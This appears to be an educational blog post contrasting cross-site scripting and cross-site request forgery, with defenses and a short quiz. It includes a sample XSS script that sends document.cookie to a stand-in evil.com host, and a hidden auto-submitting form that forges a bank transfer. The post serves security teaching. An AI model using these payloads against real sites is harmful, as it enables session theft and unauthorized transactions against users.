OwlTheEngineer
Engineering MistakesEpisode 24 · Backend

XSS vs CSRF: stealing identity vs abusing it

XSS executes malicious code inside your user's browser. CSRF tricks your user's browser into making requests they never wanted. The key difference in one line.

Owl · 2 min read · 0 views
– comments
Ep 24 · Backend
60s VISUAL BREAKDOWN
Episode 24
Watch the fast visual breakdown or discuss on social:

Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) are frequently confused because both exploit browser mechanics and sessions.

The difference in one sentence:

  • XSS (Cross-Site Scripting): An attacker injects code into your page to steal identity (tokens, keystrokes, session data).
  • CSRF (Cross-Site Request Forgery): An attacker tricks the browser into sending requests to your server to abuse an existing session.
XSS:   Attacker injects JavaScript  ──>  Executes in victim's browser  ──>  Exfiltrates data
CSRF:  Attacker creates hidden form ──>  Browser attaches real cookie  ──>  Executes unwanted action

How XSS works (Code execution)

XSS happens when your application takes untrusted user input and renders it directly into the HTML DOM without sanitizing or escaping:

<!-- Vulnerable comment section -->
<div>Hello, <%- userComment %></div>

If a user submits:

<script>fetch('https://evil.com/steal?c=' + encodeURIComponent(document.cookie))</script>

When another user views that page, their browser executes the injected script with full access to localStorage, session storage, and unprotected cookies.

XSS Defenses:

  1. Context-aware HTML escaping (built-in by default in React, Astro, Vue, Svelte).
  2. HttpOnly cookies: Prevents JavaScript from reading session identifiers via document.cookie.
  3. Content Security Policy (CSP): Disallows inline scripts (unsafe-inline) and restricts script execution to whitelisted domains.

How CSRF works (Session riding)

CSRF does not require executing JavaScript on your website. Instead, the attacker hosts a malicious website with a hidden form pointing to your API:

<!-- Hosted on evil.com -->
<form action="https://your-bank.com/api/transfer" method="POST" id="hack">
  <input type="hidden" name="to" value="attacker_account" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.getElementById('hack').submit();</script>

If a victim is logged into your-bank.com in another tab and visits evil.com, their browser automatically attaches their session cookies to the POST request. Unless the bank checks for anti-CSRF tokens, the server executes the transfer.

CSRF Defenses:

  1. SameSite=Lax or SameSite=Strict Cookie attribute: Tells the browser not to send cookies on cross-site subrequests.
  2. Anti-CSRF Tokens (Synchronizer Token Pattern): A cryptographically random token tied to the user’s session and embedded in state-changing forms/headers.
  3. Custom request headers (e.g. X-Requested-With, X-CSRF-Token): Browsers cannot send custom headers across origins without passing a CORS preflight check.

Direct Comparison

DimensionXSS (Cross-Site Scripting)CSRF (Cross-Site Request Forgery)
What happensMalicious JavaScript runs on your siteUnwanted HTTP request sent to your site
Target of attackThe user viewing the pageThe server handling the request
What attacker getsUser credentials, private data, full DOM accessState-changing action executed on behalf of victim
Primary DefenseHTML escaping, CSP, HttpOnlySameSite=Lax cookies, CSRF tokens
SYSTEM DESIGN CHECK

Test Your Understanding

Quick architectural scenario challenge based on this breakdown.

SCENARIO

A security audit identifies vulnerability vectors in a banking dashboard application.

Q1.What is the key difference in how an attacker executes XSS versus CSRF?

Comments –